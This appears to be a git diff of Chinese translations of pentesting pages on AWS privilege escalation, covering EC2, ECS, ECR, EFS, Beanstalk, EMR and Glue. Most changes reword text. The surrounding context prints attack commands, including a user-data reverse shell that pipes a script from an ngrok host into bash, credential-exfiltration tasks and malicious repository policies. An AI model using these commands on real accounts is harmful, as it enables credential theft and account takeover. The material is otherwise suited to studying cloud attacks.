的更多信息,请查看: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -具有这些**权限的用户可以通过创建数据管道来提升权限**,以使用**分配角色的权限执行任意命令:** +具有这些 **权限的用户可以通过创建数据管道来提升权限**,以使用 **分配角色的权限执行任意命令:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` @@ -50,18 +50,18 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string } ``` > [!NOTE] -> 请注意,**第14、15和27行**中的**角色**需要是**可由datapipeline.amazonaws.com假设的角色**,而**第28行**中的角色需要是**可由ec2.amazonaws.com假设的角色,并且具有EC2配置文件实例**。 +> 请注意,**第14、15和27行**中的**角色**需要是**可被datapipeline.amazonaws.com假设的角色**,而**第28行**中的角色需要是**可被ec2.amazonaws.com假设的角色,并且具有EC2配置文件实例**。 > -> 此外,EC2实例将仅能访问可由EC2实例假设的角色(因此您只能窃取那个角色)。 +> 此外,EC2实例将仅能访问可被EC2实例假设的角色(因此您只能窃取那个角色)。 ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -**攻击者制作的** pipeline definition file **包含执行命令或通过 AWS API 创建资源的指令,利用 Data Pipeline 的角色权限来潜在地获得额外的权限。** +**攻击者制作的管道定义文件包含执行命令或通过 AWS API 创建资源的指令**,利用数据管道的角色权限来潜在地获得额外的特权。 **潜在影响:** 直接提升到指定的 ec2 服务角色。 -## References +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 7e03bf49e..b866d03f4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -19,7 +19,7 @@ aws ds reset-user-password --directory-id --user-name Admin --new-password ``` ### AWS Management Console -可以启用一个 **应用访问 URL**,让 AD 用户可以登录: +可以启用一个 **应用访问 URL**,供 AD 用户登录:
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 7648f9be5..652d4affb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ ### Post Exploitation -据我所知,**仅凭一些AWS `dynamodb` 权限没有直接的方法来提升权限**。您可以**从表中读取敏感**信息(可能包含AWS凭证)并**在表中写入信息**(这可能触发其他漏洞,例如lambda代码注入...),但所有这些选项在**DynamoDB Post Exploitation页面**中已经考虑过: +据我所知,**仅凭一些AWS `dynamodb` 权限没有直接的方法来提升AWS中的权限**。您可以**从表中读取敏感**信息(可能包含AWS凭证)并**在表中写入信息**(可能触发其他漏洞,如lambda代码注入...),但所有这些选项在**DynamoDB Post Exploitation页面**中已经考虑过: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index b13111638..431a3c975 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -16,11 +16,11 @@ 工具 [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 执行此攻击以**从域控制器提取密码**。 -**潜在影响:** 通过在快照中定位敏感信息进行间接权限提升(您甚至可以获取Active Directory密码)。 +**潜在影响:** 通过在快照中定位敏感信息间接提升权限(您甚至可以获取Active Directory密码)。 ### **`ec2:CreateSnapshot`** -任何拥有**`EC2:CreateSnapshot`**权限的AWS用户都可以通过创建**域控制器的快照**来窃取所有域用户的哈希值,将其挂载到他们控制的实例上,并**导出NTDS.dit和SYSTEM**注册表蜂巢文件,以便与Impacket的secretsdump项目一起使用。 +任何拥有**`EC2:CreateSnapshot`**权限的AWS用户都可以通过创建**域控制器的快照**来窃取所有域用户的哈希,将其挂载到他们控制的实例上,并**导出NTDS.dit和SYSTEM**注册表蜂巢文件,以便与Impacket的secretsdump项目一起使用。 您可以使用此工具来自动化攻击:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy),或者在创建快照后使用之前的技术之一。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 965e075df..3b1c10631 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ ### `iam:PassRole`, `ec2:RunInstances` -攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭证。 +攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭据。 - **通过 SSH 访问** -使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有权限 `ec2:CreateKeyPair`)。 +使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 `ec2:CreateKeyPair` 权限)。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **通过用户数据访问 rev shell** -您可以使用 **用户数据** (`--user-data`) 启动一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。 +您可以使用 **用户数据** (`--user-data`) 运行一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -注意,如果您在实例外部使用 IAM 角色的凭据,请小心 GuradDuty: +小心使用实例外的 IAM 角色凭证时的 GuradDuty: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -65,7 +65,7 @@ echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> aws-ecs-privesc.md {{#endref}} -如果您**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`,您可能能够在集群中注册该实例并执行评论攻击。 +如果您**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`,您可能能够在集群中注册该实例并执行评论中的攻击。 **潜在影响:** 直接提升到附加到任务的 ECS 角色。 @@ -80,13 +80,13 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**该**角色**添加到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:** +如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**角色**添加**到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:** - 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`)\* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**潜在影响:** 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置文件状态)。 +**潜在影响:** 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置文件状态)。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) @@ -104,11 +104,11 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` -**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置文件状态)。 +**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置状态)。 ### `ec2:RequestSpotInstances`,`iam:PassRole` -拥有权限 **`ec2:RequestSpotInstances`和`iam:PassRole`** 的攻击者可以 **请求** 一个 **附加了 EC2 角色** 的 **Spot 实例** 和一个 **反向 shell** 在 **用户数据** 中。\ +拥有权限 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 的攻击者可以 **请求** 一个带有 **EC2 角色** 和 **反向 shell** 的 **Spot 实例** 在 **用户数据** 中。\ 一旦实例运行,他可以 **窃取 IAM 角色**。 ```bash REV=$(printf '#!/bin/bash @@ -123,7 +123,7 @@ aws ec2 request-spot-instances \ 拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例属性。其中,他可以 **更改用户数据**,这意味着他可以使实例 **运行任意数据**。这可以用来获取 **对 EC2 实例的反向 shell**。 -请注意,属性只能在 **实例停止时** **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。 +请注意,属性只能在 **实例停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。 ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -权限集 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以提升** 权限到 IAM 角色,因为要附加在启动配置或启动模板中指定的角色 **你需要权限 `iam:PassRole` 和 `ec2:RunInstances`** (这是一种已知的权限提升)。 +权限集 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以提升** 权限到 IAM 角色,因为为了附加在启动配置或启动模板中指定的角色 **你需要权限 `iam:PassRole` 和 `ec2:RunInstances`** (这是一种已知的权限提升)。 ### `ec2-instance-connect:SendSSHPublicKey` @@ -213,11 +213,11 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**潜在影响:** 直接提升权限到附加到运行实例的 EC2 IAM 角色。 +**潜在影响:** 直接提升到附加到运行实例的 EC2 IAM 角色。 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -拥有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **向串行连接添加 ssh 密钥**。如果串行未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess` 来启用它**。 +具有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **向串行连接添加 ssh 密钥**。如果串行未启用,攻击者需要权限 **`ec2:EnableSerialConsoleAccess` 来启用它**。 为了连接到串行端口,您还 **需要知道机器内部用户的用户名和密码**。 ```bash @@ -231,13 +231,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -这种方式对提权并不太有用,因为你需要知道用户名和密码才能利用它。 +这种方法对特权提升并不是很有用,因为你需要知道用户名和密码才能利用它。 -**潜在影响:**(高度不可证明)直接提权到附加到运行实例的 EC2 IAM 角色。 +**潜在影响:**(高度不可证明)直接特权提升到附加到运行实例的 EC2 IAM 角色。 ### `describe-launch-templates`,`describe-launch-template-versions` -由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中存在的凭证。为此,以下脚本循环遍历所有可用启动模板的版本: +由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中的凭据。为此,以下脚本循环遍历所有可用启动模板的版本: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -256,7 +256,7 @@ done **潜在影响:** 直接提升到 IAM 用户的权限。 -## 参考文献 +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index e127fbd94..e54673824 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -18,7 +18,7 @@ ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -拥有所有这些权限的攻击者 **可以登录 ECR 并上传镜像**。这对于提升到其他使用这些镜像的环境的权限非常有用。 +拥有所有这些权限的攻击者 **可以登录 ECR 并上传镜像**。这对于提升到其他使用这些镜像的环境中的权限非常有用。 要了解如何上传新镜像/更新镜像,请查看: @@ -28,7 +28,7 @@ ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -与前一部分相似,但适用于公共存储库。 +与上一节相似,但适用于公共存储库。 ### `ecr:SetRepositoryPolicy` @@ -59,7 +59,7 @@ aws ecr set-repository-policy \ ``` ### `ecr-public:SetRepositoryPolicy` -与前一部分类似,但适用于公共存储库。\ +与前一部分类似,但针对公共存储库。\ 攻击者可以**修改ECR公共存储库的存储库策略**以授予未经授权的公共访问或提升他们的权限。 ```bash bashCopy code# Create a JSON file with the malicious public repository policy @@ -87,7 +87,7 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**潜在影响**:未经授权的公共访问ECR公共存储库,允许任何用户推送、拉取或删除镜像。 +**潜在影响**:未经授权的公共访问 ECR 公共存储库,允许任何用户推送、拉取或删除镜像。 ### `ecr:PutRegistryPolicy` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index c8bf700f1..9c0b593a1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -32,11 +32,11 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**潜在影响:** 直接提升权限到不同的ECS角色。 +**潜在影响:** 直接提升权限到不同的 ECS 角色。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -就像在前面的例子中,攻击者滥用**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**权限在ECS中可以**生成一个新的任务定义**,其中包含一个**恶意容器**,该容器窃取元数据凭证并**运行它**。\ +就像在之前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限在 ECS 中可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**。\ 然而,在这种情况下,需要有一个容器实例来运行恶意任务定义。 ```bash # Generate task definition with rev shell @@ -84,7 +84,7 @@ aws ecs update-service --cluster \ ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -实际上,仅凭这些权限,就可以使用覆盖来在具有任意角色的容器中执行任意命令,例如: +实际上,仅凭这些权限,就可以使用覆盖在具有任意角色的容器中执行任意命令,例如: ```bash aws ecs run-task \ --task-definition "" \ @@ -97,7 +97,7 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** 这个场景与之前的类似,但**没有** **`iam:PassRole`** 权限。\ -这仍然很有趣,因为如果你可以运行任意容器,即使没有角色,你也可以**运行特权容器以逃逸**到节点并**窃取 EC2 IAM 角色**和**在节点上运行的其他 ECS 容器角色**。\ +这仍然很有趣,因为如果你可以运行任意容器,即使没有角色,你也可以**运行特权容器以逃逸**到节点并**窃取 EC2 IAM 角色**和在节点上运行的**其他 ECS 容器角色**。\ 你甚至可以**强制其他任务在你妥协的 EC2 实例内运行**以窃取它们的凭证(如在[**提升到节点部分**](aws-ecs-privesc.md#privesc-to-node)中讨论的)。 > [!WARNING] @@ -172,13 +172,13 @@ aws ecs execute-command --interactive \ - 如果他有 **`ecs:CreateService`**,可以使用 `aws ecs create-service --enable-execute-command [...]` 创建一个服务 - 如果他有 **`ecs:UpdateService`**,可以使用 `aws ecs update-service --enable-execute-command [...]` 更新一个服务 -您可以在 **之前的 ECS privesc 部分** 找到 **这些选项的示例**。 +你可以在 **之前的 ECS privesc 部分** 找到 **这些选项的示例**。 -**潜在影响:** 提升到附加在容器上的不同角色。 +**潜在影响:** 提升权限到附加在容器上的不同角色。 ### `ssm:StartSession` -请查看 **ssm privesc 页面**,了解如何利用此权限 **提升到 ECS**: +查看 **ssm privesc 页面**,了解如何利用此权限 **提升权限到 ECS**: {{#ref}} aws-ssm-privesc.md @@ -186,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -请查看 **ec2 privesc 页面**,了解如何利用这些权限 **提升到 ECS**: +查看 **ec2 privesc 页面**,了解如何利用这些权限 **提升权限到 ECS**: {{#ref}} aws-ec2-privesc.md @@ -194,7 +194,7 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: 是否可以从不同的 AWS 账户注册一个实例,以便任务在攻击者控制的机器上运行? +TODO: 是否可以从不同的 AWS 账户注册一个实例,以便在攻击者控制的机器上运行任务? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` @@ -229,7 +229,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi ``` **潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或泄露敏感数据。 -## 参考文献 +## 参考 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 3e63c396c..c12dda58d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,7 +4,7 @@ ## EFS -更多关于 EFS 的信息在: +更多关于 **EFS** 的信息在: {{#ref}} ../aws-services/aws-efs-enum.md @@ -58,13 +58,13 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -额外的权限`elasticfilesystem:ClientRootAccess`和`elasticfilesystem:ClientWrite`可以在文件系统挂载后用于**写入**文件系统内部,并以**root**身份**访问**该文件系统。 +额外的权限 `elasticfilesystem:ClientRootAccess` 和 `elasticfilesystem:ClientWrite` 可以在文件系统挂载后用于 **写入** 文件系统内部,并以 **root** 身份 **访问** 该文件系统。 **潜在影响:** 通过在文件系统中定位敏感信息进行间接权限提升。 ### `elasticfilesystem:CreateMountTarget` -如果攻击者在**子网络**中,且**没有挂载目标**的EFS,他可以利用此权限**在他的子网络中创建一个**: +如果攻击者在 **子网络** 中,且 **没有挂载目标** 存在于 EFS,他可以利用此权限 **在他的子网络中创建一个**。 ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -在攻击者发现EFS在他的子网络中有挂载目标但**没有安全组允许流量**的情况下,他可以**通过修改所选安全组来改变这一点**: +在攻击者发现 EFS 在他的子网络中有挂载目标但 **没有安全组允许流量** 的情况下,他可以 **通过修改所选安全组来改变这一点**: ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 96b633c3c..bf371eee5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -15,7 +15,7 @@ ### `elasticbeanstalk:RebuildEnvironment`、S3 写权限及其他 -拥有 **对包含环境代码的 S3 存储桶的写权限** 和 **重建** 应用程序的权限(需要 `elasticbeanstalk:RebuildEnvironment` 以及与 `S3`、`EC2` 和 `Cloudformation` 相关的其他权限),您可以 **修改** **代码**、**重建** 应用程序,下次访问应用程序时,它将 **执行您的新代码**,使攻击者能够危害应用程序及其 IAM 角色凭证。 +拥有 **对包含环境的代码的 S3 存储桶的写权限** 和 **重建** 应用程序的权限(需要 `elasticbeanstalk:RebuildEnvironment` 以及与 `S3`、`EC2` 和 `Cloudformation` 相关的其他权限),您可以 **修改** **代码**、**重建** 应用程序,下次访问应用程序时,它将 **执行您的新代码**,使攻击者能够危害应用程序及其 IAM 角色凭证。 ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`,以及更多... -提到的权限加上几个 **`S3`**,**`EC2`**,**`cloudformation`**,**`autoscaling`** 和 **`elasticloadbalancing`** 权限是从头创建一个原始的 Elastic Beanstalk 场景所必需的。 +提到的权限加上几个 **`S3`**、**`EC2`**、**`cloudformation`**、**`autoscaling`** 和 **`elasticloadbalancing`** 权限是从头创建一个原始的 Elastic Beanstalk 场景所必需的。 - 创建一个 AWS Elastic Beanstalk 应用程序: ```bash @@ -44,11 +44,11 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n ``` 如果环境已经创建,并且你**不想创建一个新的环境**,你可以直接**更新**现有的环境。 -- 将你的应用程序代码和依赖项打包成一个ZIP文件: +- 将你的应用程序代码和依赖项打包成一个 ZIP 文件: ```python zip -r MyApp.zip . ``` -- 将ZIP文件上传到S3桶: +- 将 ZIP 文件上传到 S3 存储桶: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -首先,您需要创建一个**合法的 Beanstalk 环境**,其中包含您希望在**受害者**上运行的**代码**,按照**之前的步骤**进行操作。可能是一个简单的**zip**文件,包含这**2个文件**: +首先,您需要创建一个 **合法的 Beanstalk 环境**,其中包含您希望在 **受害者** 上运行的 **代码**,遵循 **之前的步骤**。可能是一个简单的 **zip** 文件,包含这 **2 个文件**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -一旦你有了 **自己的 Beanstalk 环境运行** 你的反向 shell,就该 **迁移** 到 **受害者** 环境了。为此,你需要 **更新你的 Beanstalk S3 存储桶的策略**,以便 **受害者可以访问它**(请注意,这将 **开放** 存储桶给 **所有人**): +一旦你有了**自己的 Beanstalk 环境运行**你的反向 shell,就该**迁移**到**受害者**的环境了。为此,你需要**更新**你的 Beanstalk S3 存储桶的**存储桶策略**,以便**受害者可以访问它**(请注意,这将**开放**存储桶给**所有人**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index c4e1a09f5..4ffe105a8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -注意如何在 `--service-role` 中指定 **EMR 角色**,以及在 `--ec2-attributes` 中指定 **ec2 角色**,位于 `InstanceProfile` 内。然而,这种技术仅允许窃取 EC2 角色凭证(因为您将通过 ssh 连接),而无法窃取 EMR IAM 角色。 +注意如何在 `--service-role` 中指定 **EMR 角色**,以及在 `--ec2-attributes` 中指定 **ec2 角色**,位于 `InstanceProfile` 内。然而,这种技术仅允许窃取 EC2 角色凭证(因为您将通过 ssh 连接),而无法获取 EMR IAM 角色。 **潜在影响:** 提升到指定的 EC2 服务角色。 @@ -45,7 +45,7 @@ aws emr describe-cluster --cluster-id 拥有这些权限的攻击者可以进入 **AWS 控制台**,创建一个 Notebook 并访问它以窃取 IAM 角色。 > [!CAUTION] -> 即使您在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。 +> 即使在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。 **潜在影响:** 提升到 AWS 管理角色 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile @@ -55,7 +55,7 @@ aws emr describe-cluster --cluster-id Notebook 的 URL 是 `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> 即使您在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。 +> 即使在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。 **潜在影响:** 提升到 AWS 管理角色 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 1632ab54b..6885c7d56 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -22,11 +22,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -为了隐蔽目的,建议使用来自 Glue 虚拟机的 IAM 凭证。 +出于隐蔽目的,建议使用来自 Glue 虚拟机的 IAM 凭证。 **潜在影响:** 提升到指定的 Glue 服务角色。 -### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) +### `glue:UpdateDevEndpoint`,(`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) 拥有此权限的用户可以**更改现有 Glue 开发**端点的 SSH 密钥,**从而启用对其的 SSH 访问**。这允许攻击者以端点附加角色的权限执行命令: ```bash @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**潜在影响:** 提升到所使用的 Glue 服务角色。 +**潜在影响:** 提升到使用的 Glue 服务角色。 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -具有 **`iam:PassRole`** 权限的用户,结合 **`glue:CreateJob` 或 `glue:UpdateJob`**,以及 **`glue:StartJobRun` 或 `glue:CreateTrigger`**,可以 **创建或更新 AWS Glue 作业**,附加任何 **Glue 服务账户**,并启动作业的执行。该作业的功能包括运行任意 Python 代码,这可以被利用来建立反向 shell。然后可以利用这个反向 shell 来提取附加到 Glue 作业的 **IAM 凭证**,从而导致基于该角色权限的潜在未授权访问或操作: +具有 **`iam:PassRole`** 权限的用户,结合 **`glue:CreateJob` 或 `glue:UpdateJob`**,以及 **`glue:StartJobRun` 或 `glue:CreateTrigger`**,可以 **创建或更新 AWS Glue 作业**,附加任何 